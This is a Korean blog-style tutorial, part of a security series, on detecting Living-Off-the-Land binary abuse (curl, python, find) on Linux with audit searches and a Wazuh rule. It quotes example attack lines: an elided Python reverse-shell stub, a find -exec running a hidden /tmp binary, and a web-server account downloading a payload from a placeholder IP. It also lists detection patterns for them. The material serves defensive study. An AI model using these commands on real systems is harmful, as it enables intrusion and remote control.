시스템 보안 · 취약점 › H. 방어 회피 · 흔적 삭제 징후 · 34/50편 (전체 384/450)
학습 단계: 위장·난독화·흔적 분석
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.
LOLBins(Living Off the Land Binaries)는 시스템에 기본 설치된 정상·신뢰 바이너리(curl·wget·python·tar·find·awk 등)를 공격 목적으로 악용하는 기법입니다. 바이너리 자체가 정상이라 시그니처·화이트리스트를 회피합니다.
LOLBins 악용(방어 회피 관점)
다운로드: curl/wget으로 페이로드 수신
실행: python/perl -c 로 코드 실행
파일 조작: tar/cp로 복사·압축
탐색: find -exec 로 명령 실행
특징: 바이너리는 정상 — 인자·맥락이 비정상
탐지: 정상 도구의 비정상 인자·맥락·계보
핵심은 "도구는 정상, 사용법이 비정상"입니다. 바이너리 이름만 보면 정탐이 불가능하므로 인자·실행 맥락·부모 프로세스를 함께 봐야 합니다.
| 도구 | 정상 용도 | 악용 |
|---|---|---|
| curl/wget | 다운로드 | 페이로드 수신 |
| python/perl | 스크립트 | -c 인라인 실행 |
| find | 파일 검색 | -exec 명령 |
| tar | 압축 | 데이터 반출 |
| awk/sed | 텍스트 | 명령 실행 |
# LOLBins 악용 탐지 (분석 방법)
# 정상 도구의 비정상 인자(인라인 코드·외부 통신)
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E '(python[0-9]?|perl|ruby)\s+-c|find\s+.*-exec|awk\s+.*system\(' | tail
# 비대화형 셸·서비스 계정이 호출한 네트워크 도구
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E '(curl|wget).*(192\.0\.2\.|203\.0\.113\.|/tmp/)' | tail
# 부모가 웹서버·cron인 정상 도구 호출
echo "www-data/cron → curl/python 계보 교차 확인"
$ (비정상 인자) (없음 — 정상 용도)
$ (비정상 맥락) (없음 — 대화형·정상 부모)
정상 도구가 정상 용도·인자로 사용되고, 서비스 계정·비대화형 맥락에서 네트워크 도구나 인라인 코드 실행이 없는 상태가 정상입니다.
$ (비정상 인자)
python3 -c "import socket,os,pty;..." (인라인 역셸 코드)
find / -name x -exec /tmp/.s {} \; (find로 명령 실행)
$ (비정상 맥락)
www-data가 curl http://192.0.2.5/p -o /tmp/.p (웹셸→다운로드)
LOLBins 악용 분석입니다(가상의 예시).
[공격자] 새 악성 바이너리 업로드 대신
기존 정상 도구 사용(화이트리스트 통과)
python3 -c "<역셸>", curl로 다운로드
↕ (탐지)
[분석가]
바이너리: python3·curl (정상 — 이름만으론 못 잡음)
인자: -c 인라인 코드, 외부 IP 다운로드(비정상)
맥락: www-data/비대화형·부모가 웹서버(비정상)
↓
= 도구는 정상, 인자·맥락이 실체 → 정탐
| 관점 | 정상 | 악용 |
|---|---|---|
| 바이너리 | python/curl | 동일 |
| 인자 | 스크립트 파일 | -c 인라인 |
| 맥락 | 사용자 대화형 | 서비스·비정상 부모 |
인자·맥락·계보가 LOLBins 악용 탐지의 핵심입니다.
<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_h,defense_evasion,">
<rule id="107330" level="12">
<if_sid>107000</if_sid>
<field name="audit.proctitle" type="pcre2">(python[0-9]?|perl|ruby)\s+-c\s|find\s+.+-exec|awk\s+.+system\(|(curl|wget)\s+.*(tmp|dev/shm)</field>
<description>정상 도구의 비정상 사용(LOLBins 악용)</description>
<mitre><id>T1218</id><id>T1059</id></mitre>
</rule>
</group>
정상 도구별 정상 사용 패턴을 기준선화하고, 인라인 코드·외부 통신·비정상 부모(웹서버·서비스 계정)와의 조합을 탐지합니다. 관리 스크립트는 예외 처리합니다.
| 도구 | 악용 |
|---|---|
| curl/wget | 페이로드 수신 |
| python/perl | -c 인라인 실행 |
| find | -exec 명령 |
| tar | 데이터 반출 |
| 면접 포인트 | "LOLBins는 도구가 정상 — 인자·맥락·부모로 악용 판별" |
다음 편 385. 방어 회피·흔적 삭제 — 서명·신뢰 관계 악용 탐지 에서는 서명·신뢰 관계 악용을 다루는 서명·신뢰 관계 악용 탐지를 다룹니다.
이전 편: 383. 방어 회피·흔적 삭제 — 인코딩·암호화 기반 우회 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점